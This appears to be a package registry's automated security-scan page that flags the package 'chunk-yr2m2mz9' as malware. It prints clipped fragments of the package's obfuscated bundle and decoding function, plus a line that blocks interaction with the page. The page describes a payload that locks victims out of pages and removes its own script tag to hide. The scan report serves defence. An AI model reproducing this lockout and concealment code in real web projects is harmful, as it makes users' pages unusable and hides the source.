registry / chunk-yr2m2mz9 / 1.0.2

chunk-yr2m2mz9@1.0.2

AI Security Review

scanned 3h ago · by lpm-firewall-ai

The browser payload blocks interaction with the host page using a full-screen overlay and keyboard interception. It also removes its script tag after running.

Static reason

One or more suspicious static signals were detected.

Trigger

Loading dist/chunk-YR2M2MZ9.js in a browser context without a matching configured hostname

Impact

A victim page can be made unusable and its user input blocked.

Mechanism

Full-page UI lockout and script self-removal

Attack narrative

The shipped browser chunk creates a top-level overlay, hides overflow, disables body pointer events, and prevents all keydown events. It retains interaction only for its overlay and then removes the executing script element, which conceals its source from the document. This is a deliberate page-denial payload, not a normal library capability.

Rationale

Although it has no install hook or network activity, the source implements concealed, hostile browser UI lockout behavior. The obfuscated published bundle corresponds to the readable source payload.

Evidence

chunk-original.jsdocument.documentElementdocument.bodydocument.currentScript

Decision evidence

public snapshot

AI called this Malicious at 95.0% confidence as Malware with low false-positive risk.

Evidence for block

The bundle hides its displayed text through numeric character decoding.
When loaded in a browser, it adds a full-screen overlay and disables page interaction.
It captures every keydown event and prevents it from reaching the page.
It removes its own script element after execution.

Evidence against

package.json has no install lifecycle hook.
No network endpoint, credential collection, or file access is present in the inspected source.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedObfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 8.26 KB of source

Source & flagged code

5 flagged

dist/chunk-YR2M2MZ9.jsView file

Lines 1-3javascript

1function _0x2dd1(){var _0x4882a3=['location','auto','118744jbHaHj','__CHUNK_CONFIG__','keydown','1021101ogGhhr','overflow','slice','defineProperty','style','body','465764JbwXQs','cssText','</span><br>','appendChild','toString','1693772VVlcRl','222034dmTfIN','removeChild','<line\x20x1=\x2212\x22\x20y1=\x228\x22\x20x2=\x2212\x22\x20y2=\x2212\x22></line>','createElement','<svg\x20width=\x2232\x22\x20height=\x2232\x22\x20viewBox=\x220\x200\x2024\x2024\x22\x20fill=\x22none\x22\x20stroke=\x22#ef4444\x22\x20stroke-width=\x222\x22\x20stroke-linecap=\x22round\x22\x20stroke-linejoin=\x22round\x22>','hid ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/chunk-YR2M2MZ9.jsView on unpkg · L1

Long lines were clipped for display.

chunk-original.jsView file

Lines 1-66javascript

1(function () {

2 var _k = [

3 [90, 124, 105, 122, 106, 121, 112, 119, 123,

Source & flagged code

5 flagged · loading source

dist/chunk-YR2M2MZ9.jsView file

1function _0x2dd1(){var _0x4882a3=['location','auto','118744jbHaHj','__CHUNK_CONFIG__','keydown','1021101ogGhhr','overflow','slice','defineProperty','style','body','465764JbwXQs','c... L2:

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/chunk-YR2M2MZ9.jsView on unpkg · L1

chunk-original.jsView file

11function d(i) { var a = _k[i], s = ''; for (var j = 0; j < a.length; j++) { s += String.fromCharCode(a[j] - 7); } return s; }

High

Ai Review Evidence

The bundle hides its displayed text through numeric character decoding.

chunk-original.jsView on unpkg · L11

49document.documentElement.appendChild(o); document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; document.body.style.pointerEvents = 'none'; o.style.pointerEvents = 'auto';

High

Findings

6 High1 Medium2 Low

HighObfuscated Payload Loaderdist/chunk-YR2M2MZ9.js

HighObfuscated

HighAi Review Evidencechunk-original.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings